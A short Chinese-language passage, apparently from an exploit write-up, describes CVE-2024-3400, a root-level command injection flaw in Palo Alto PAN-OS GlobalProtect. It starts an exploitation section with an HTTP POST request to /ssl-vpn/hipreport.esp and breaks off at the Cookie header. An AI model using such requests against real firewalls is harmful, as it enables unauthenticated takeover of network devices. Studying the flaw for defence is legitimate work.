CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS 命令注入 供应商描述 Palo Alto Networks PAN-OS 软件的 GlobalProtect 功能中，针对特定 PAN-OS 版本和不同的功能配置存在一个命令注入漏洞，可能允许未经身份验证的攻击者以 root 权限在防火墙上执行任意代码。 漏洞利用 感谢 watchtowr labs 🚀 路径遍历/检查 HTTP 请求： root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie:...